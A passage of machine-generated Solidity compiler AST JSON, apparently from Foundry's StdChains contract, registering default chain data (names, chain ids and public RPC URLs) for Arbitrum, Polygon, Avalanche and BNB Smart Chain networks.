\"arbitrum_one\""},"value":"arbitrum_one"},{"arguments":[{"hexValue":"417262697472756d204f6e65","id":3288,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9357:14:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_9e42b1aebd5463751aea2c5f6ee37505334a82b4085315a5f4b8b0f81d3b9004","typeString":"literal_string \"Arbitrum One\""},"value":"Arbitrum One"},{"hexValue":"3432313631","id":3289,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9373:5:2","typeDescriptions":{"typeIdentifier":"t_rational_42161_by_1","typeString":"int_const 42161"},"value":"42161"},{"hexValue":"68747470733a2f2f617262312e617262697472756d2e696f2f727063","id":3290,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9380:30:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_ff28c1a1bf3c117d5956efad529d0ee22dcfc0fe5cbf5a03e0bdfcc3c6cac126","typeString":"literal_string \"https://arb1.arbitrum.io/rpc\""},"value":"https://arb1.arbitrum.io/rpc"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9e42b1aebd5463751aea2c5f6ee37505334a82b4085315a5f4b8b0f81d3b9004","typeString":"literal_string \"Arbitrum One\""},{"typeIdentifier":"t_rational_42161_by_1","typeString":"int_const 42161"},{"typeIdentifier":"t_stringliteral_ff28c1a1bf3c117d5956efad529d0ee22dcfc0fe5cbf5a03e0bdfcc3c6cac126","typeString":"literal_string \"https://arb1.arbitrum.io/rpc\""}],"id":3287,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"9347:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3291,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9347:64:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e4b44cea7839e0679ac5072602932da9b25ebfb3a9ac42625d9c583a7b6b2eb4","typeString":"literal_string \"arbitrum_one\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3285,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"9305:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9305:107:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3293,"nodeType":"ExpressionStatement","src":"9305:107:2"},{"expression":{"arguments":[{"hexValue":"617262697472756d5f6f6e655f676f65726c69","id":3295,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9461:21:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_9c5068a3a5cdbd747f13200fdd6f590995f99bde231a5dcfa62a5f92af1dc3d4","typeString":"literal_string \"arbitrum_one_goerli\""},"value":"arbitrum_one_goerli"},{"arguments":[{"hexValue":"417262697472756d204f6e6520476f65726c69","id":3297,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9494:21:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_57f7b6894161eb541e81676f15adf1e65eee36bdcfd592f252d22d4394480f21","typeString":"literal_string \"Arbitrum One Goerli\""},"value":"Arbitrum One Goerli"},{"hexValue":"343231363133","id":3298,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9517:6:2","typeDescriptions":{"typeIdentifier":"t_rational_421613_by_1","typeString":"int_const 421613"},"value":"421613"},{"hexValue":"68747470733a2f2f676f65726c692d726f6c6c75702e617262697472756d2e696f2f727063","id":3299,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9525:39:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_d65fa49ed6bf0763184aace821262295f8ad23c20b74cd1f836fe5e06f5dd8ea","typeString":"literal_string \"https://goerli-rollup.arbitrum.io/rpc\""},"value":"https://goerli-rollup.arbitrum.io/rpc"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_57f7b6894161eb541e81676f15adf1e65eee36bdcfd592f252d22d4394480f21","typeString":"literal_string \"Arbitrum One Goerli\""},{"typeIdentifier":"t_rational_421613_by_1","typeString":"int_const 421613"},{"typeIdentifier":"t_stringliteral_d65fa49ed6bf0763184aace821262295f8ad23c20b74cd1f836fe5e06f5dd8ea","typeString":"literal_string \"https://goerli-rollup.arbitrum.io/rpc\""}],"id":3296,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"9484:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3300,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9484:81:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9c5068a3a5cdbd747f13200fdd6f590995f99bde231a5dcfa62a5f92af1dc3d4","typeString":"literal_string \"arbitrum_one_goerli\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3294,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"9422:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3301,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9422:153:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3302,"nodeType":"ExpressionStatement","src":"9422:153:2"},{"expression":{"arguments":[{"hexValue":"617262697472756d5f6e6f7661","id":3304,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9611:15:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_9338ed1403277416ebb39d4e992ebf5c49e6dded5ec79963ea5fc261cbd7fdac","typeString":"literal_string \"arbitrum_nova\""},"value":"arbitrum_nova"},{"arguments":[{"hexValue":"417262697472756d204e6f7661","id":3306,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9638:15:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_25c77b7679bf463420c39c7728b9f65b6a8f1ae05b3335eb9e394b1b61bf8f21","typeString":"literal_string \"Arbitrum Nova\""},"value":"Arbitrum Nova"},{"hexValue":"3432313730","id":3307,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9655:5:2","typeDescriptions":{"typeIdentifier":"t_rational_42170_by_1","typeString":"int_const 42170"},"value":"42170"},{"hexValue":"68747470733a2f2f6e6f76612e617262697472756d2e696f2f727063","id":3308,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9662:30:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_a77f0a686c95785c75ada33247e30dc9ac80330a7f8eb521bebdf48f492ee4ac","typeString":"literal_string \"https://nova.arbitrum.io/rpc\""},"value":"https://nova.arbitrum.io/rpc"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_25c77b7679bf463420c39c7728b9f65b6a8f1ae05b3335eb9e394b1b61bf8f21","typeString":"literal_string \"Arbitrum Nova\""},{"typeIdentifier":"t_rational_42170_by_1","typeString":"int_const 42170"},{"typeIdentifier":"t_stringliteral_a77f0a686c95785c75ada33247e30dc9ac80330a7f8eb521bebdf48f492ee4ac","typeString":"literal_string \"https://nova.arbitrum.io/rpc\""}],"id":3305,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"9628:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3309,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9628:65:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9338ed1403277416ebb39d4e992ebf5c49e6dded5ec79963ea5fc261cbd7fdac","typeString":"literal_string \"arbitrum_nova\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3303,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"9585:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3310,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9585:109:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3311,"nodeType":"ExpressionStatement","src":"9585:109:2"},{"expression":{"arguments":[{"hexValue":"706f6c79676f6e","id":3313,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9730:9:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_ac63fa1fe369e75c38d62f0f4d465b48b3cd5159f0fb416332899402031d1408","typeString":"literal_string \"polygon\""},"value":"polygon"},{"arguments":[{"hexValue":"506f6c79676f6e","id":3315,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9751:9:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_890af8db8ca1aa1e915857edbc2717639ebd8a22c786f9e0e776d6a1aacb5e71","typeString":"literal_string \"Polygon\""},"value":"Polygon"},{"hexValue":"313337","id":3316,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9762:3:2","typeDescriptions":{"typeIdentifier":"t_rational_137_by_1","typeString":"int_const 137"},"value":"137"},{"hexValue":"68747470733a2f2f706f6c79676f6e2d7270632e636f6d","id":3317,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9767:25:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_fda46ab670b83929623b4aa9bcfa97ff7b7376fa90a24a450a8561482232c5c0","typeString":"literal_string \"https://polygon-rpc.com\""},"value":"https://polygon-rpc.com"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_890af8db8ca1aa1e915857edbc2717639ebd8a22c786f9e0e776d6a1aacb5e71","typeString":"literal_string \"Polygon\""},{"typeIdentifier":"t_rational_137_by_1","typeString":"int_const 137"},{"typeIdentifier":"t_stringliteral_fda46ab670b83929623b4aa9bcfa97ff7b7376fa90a24a450a8561482232c5c0","typeString":"literal_string \"https://polygon-rpc.com\""}],"id":3314,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"9741:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3318,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9741:52:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ac63fa1fe369e75c38d62f0f4d465b48b3cd5159f0fb416332899402031d1408","typeString":"literal_string \"polygon\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3312,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"9704:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3319,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9704:90:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3320,"nodeType":"ExpressionStatement","src":"9704:90:2"},{"expression":{"arguments":[{"hexValue":"706f6c79676f6e5f6d756d626169","id":3322,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9843:16:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_a7308364e169f5f44de3933205a00d3632b7366702c91dff3452b4dbf6ed70f0","typeString":"literal_string \"polygon_mumbai\""},"value":"polygon_mumbai"},{"arguments":[{"hexValue":"506f6c79676f6e204d756d626169","id":3324,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9871:16:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_173b0df64039e25119e26da4408dbd53da69bf06543516209ecc66f21e0c9725","typeString":"literal_string \"Polygon Mumbai\""},"value":"Polygon Mumbai"},{"hexValue":"3830303031","id":3325,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9889:5:2","typeDescriptions":{"typeIdentifier":"t_rational_80001_by_1","typeString":"int_const 80001"},"value":"80001"},{"hexValue":"68747470733a2f2f7270632d6d756d6261692e6d61746963766967696c2e636f6d","id":3326,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9896:35:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_73b526a6131ddfd959c21485254bd24a6ab94de746e87b78a515c1d42c7ee121","typeString":"literal_string \"https://rpc-mumbai.maticvigil.com\""},"value":"https://rpc-mumbai.maticvigil.com"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_173b0df64039e25119e26da4408dbd53da69bf06543516209ecc66f21e0c9725","typeString":"literal_string \"Polygon Mumbai\""},{"typeIdentifier":"t_rational_80001_by_1","typeString":"int_const 80001"},{"typeIdentifier":"t_stringliteral_73b526a6131ddfd959c21485254bd24a6ab94de746e87b78a515c1d42c7ee121","typeString":"literal_string \"https://rpc-mumbai.maticvigil.com\""}],"id":3323,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"9861:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3327,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9861:71:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a7308364e169f5f44de3933205a00d3632b7366702c91dff3452b4dbf6ed70f0","typeString":"literal_string \"polygon_mumbai\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3321,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"9804:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3328,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9804:138:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3329,"nodeType":"ExpressionStatement","src":"9804:138:2"},{"expression":{"arguments":[{"hexValue":"6176616c616e636865","id":3331,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9978:11:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_6e8b0d92516ee4289145e3b78cea58daac177b1c618beeedbc6cdabd388a6e55","typeString":"literal_string \"avalanche\""},"value":"avalanche"},{"arguments":[{"hexValue":"4176616c616e636865","id":3333,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10001:11:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_6585177c3aba6cb7ffc0a37e831a958c4ee9278e4c62c7bdad7175ca09883c40","typeString":"literal_string \"Avalanche\""},"value":"Avalanche"},{"hexValue":"3433313134","id":3334,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10014:5:2","typeDescriptions":{"typeIdentifier":"t_rational_43114_by_1","typeString":"int_const 43114"},"value":"43114"},{"hexValue":"68747470733a2f2f6170692e617661782e6e6574776f726b2f6578742f62632f432f727063","id":3335,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10021:39:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_429365eac47ed6b261c38927d854e528b743fc5a678b1b4ba631c511f305886a","typeString":"literal_string \"https://api.avax.network/ext/bc/C/rpc\""},"value":"https://api.avax.network/ext/bc/C/rpc"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6585177c3aba6cb7ffc0a37e831a958c4ee9278e4c62c7bdad7175ca09883c40","typeString":"literal_string \"Avalanche\""},{"typeIdentifier":"t_rational_43114_by_1","typeString":"int_const 43114"},{"typeIdentifier":"t_stringliteral_429365eac47ed6b261c38927d854e528b743fc5a678b1b4ba631c511f305886a","typeString":"literal_string \"https://api.avax.network/ext/bc/C/rpc\""}],"id":3332,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"9991:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3336,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9991:70:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6e8b0d92516ee4289145e3b78cea58daac177b1c618beeedbc6cdabd388a6e55","typeString":"literal_string \"avalanche\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3330,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"9952:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9952:110:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3338,"nodeType":"ExpressionStatement","src":"9952:110:2"},{"expression":{"arguments":[{"hexValue":"6176616c616e6368655f66756a69","id":3340,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10111:16:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_a1920d2f80060f1c83444622c7eb5adf4484bed8a537b8d13eae53bd800aa692","typeString":"literal_string \"avalanche_fuji\""},"value":"avalanche_fuji"},{"arguments":[{"hexValue":"4176616c616e6368652046756a69","id":3342,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10139:16:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_522b176494c651b1a4c5779e66ed19f885df62891abfb18fd5e45b69bdabe11b","typeString":"literal_string \"Avalanche Fuji\""},"value":"Avalanche Fuji"},{"hexValue":"3433313133","id":3343,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10157:5:2","typeDescriptions":{"typeIdentifier":"t_rational_43113_by_1","typeString":"int_const 43113"},"value":"43113"},{"hexValue":"68747470733a2f2f6170692e617661782d746573742e6e6574776f726b2f6578742f62632f432f727063","id":3344,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10164:44:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_d6621ea822eabf6c190358ea82de0c52d3503dcce8117b3366a8a3bd96eb422d","typeString":"literal_string \"https://api.avax-test.network/ext/bc/C/rpc\""},"value":"https://api.avax-test.network/ext/bc/C/rpc"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_522b176494c651b1a4c5779e66ed19f885df62891abfb18fd5e45b69bdabe11b","typeString":"literal_string \"Avalanche Fuji\""},{"typeIdentifier":"t_rational_43113_by_1","typeString":"int_const 43113"},{"typeIdentifier":"t_stringliteral_d6621ea822eabf6c190358ea82de0c52d3503dcce8117b3366a8a3bd96eb422d","typeString":"literal_string \"https://api.avax-test.network/ext/bc/C/rpc\""}],"id":3341,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"10129:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3345,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10129:80:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a1920d2f80060f1c83444622c7eb5adf4484bed8a537b8d13eae53bd800aa692","typeString":"literal_string \"avalanche_fuji\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3339,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"10072:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3346,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10072:147:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3347,"nodeType":"ExpressionStatement","src":"10072:147:2"},{"expression":{"arguments":[{"hexValue":"626e625f736d6172745f636861696e","id":3349,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10268:17:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_fa8b17ae9aa26749f5dc3a3bb333e0019db0c257f3541e870f73bb48b574361e","typeString":"literal_string \"bnb_smart_chain\""},"value":"bnb_smart_chain"},{"arguments":[{"hexValue":"424e4220536d61727420436861696e","id":3351,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10297:17:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_3606544ee65d30d7c7f7d6a1f6618e0d836299fa5b85b88d71a59535c6a1550f","typeString":"literal_string \"BNB Smart Chain\""},"value":"BNB Smart Chain"},{"hexValue":"3536","id":3352,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10316:2:2","typeDescriptions":{"typeIdentifier":"t_rational_56_by_1","typeString":"int_const 56"},"value":"56"},{"hexValue":"68747470733a2f2f6273632d6461746173656564312e62696e616e63652e6f7267","id":3353,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10320:35:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_e2b4215bd50ab260c8c9f18e36ea07b1f952450853bcf024123d5767a40d4719","typeString":"literal_string \"https://bsc-dataseed1.binance.org\""},"value":"https://bsc-dataseed1.binance.org"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3606544ee65d30d7c7f7d6a1f6618e0d836299fa5b85b88d71a59535c6a1550f","typeString":"literal_string \"BNB Smart Chain\""},{"typeIdentifier":"t_rational_56_by_1","typeString":"int_const 56"},{"typeIdentifier":"t_stringliteral_e2b4215bd50ab260c8c9f18e36ea07b1f952450853bcf024123d5767a40d4719","typeString":"literal_string \"https://bsc-dataseed1.binance.org\""}],"id":3350,"name":"ChainData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2726,"src":"10287:9:2","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_ChainData_$2726_storage_ptr_$","typeString":"type(struct StdChains.ChainData storage pointer)"}},"id":3354,"isConstant":false,"isLValue":false,"isPure":true,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10287:69:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fa8b17ae9aa26749f5dc3a3bb333e0019db0c257f3541e870f73bb48b574361e","typeString":"literal_string \"bnb_smart_chain\""},{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}],"id":3348,"name":"setChainWithDefaultRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3476,"src":"10229:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_struct$_ChainData_$2726_memory_ptr_$returns$__$","typeString":"function (string memory,struct StdChains.ChainData memory)"}},"id":3355,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10229:137:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3356,"nodeType":"ExpressionStatement","src":"10229:137:2"},{"expression":{"arguments":[{"hexValue":"626e625f736d6172745f636861696e5f746573746e6574","id":3358,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10415:25:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_1813de9892ab9db3d0c3b0c3eed9c8b820fe0c7e205bed860e6e89f4d7f75f29","typeString":"literal_string \"bnb_smart_chain_testnet\""},"value":"bnb_smart_chain_testnet"},{"arguments":[{"hexValue":"424e4220536d61727420436861696e20546573746e6574","id":3360,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10464:25:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_3b1d88342c4ab079c9a8243ef8dfeb0bb41e1da5dc9fe62ca728dfe4ea21092c","typeString":"literal_string \"BNB Smart Chain Testnet\""},"value":"BNB Smart Chain Testnet"},{"hexValue":"3937","id":3361,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10491:2:2","typeDescriptions":{"typeIdentifier":"t_rational_97_by_1","typeString":"int_const 97"},"value":"97"},{"hexValue":"68747470733a2f2f7270632e616e6b722e636f6d2f6273635f746573746e65745f63686170656c","id":3362,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10495:41:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_6660930de41ed298fb6a2348f33b08e5736a3823e6ffb86942097b237e075960","typeString":"literal_string 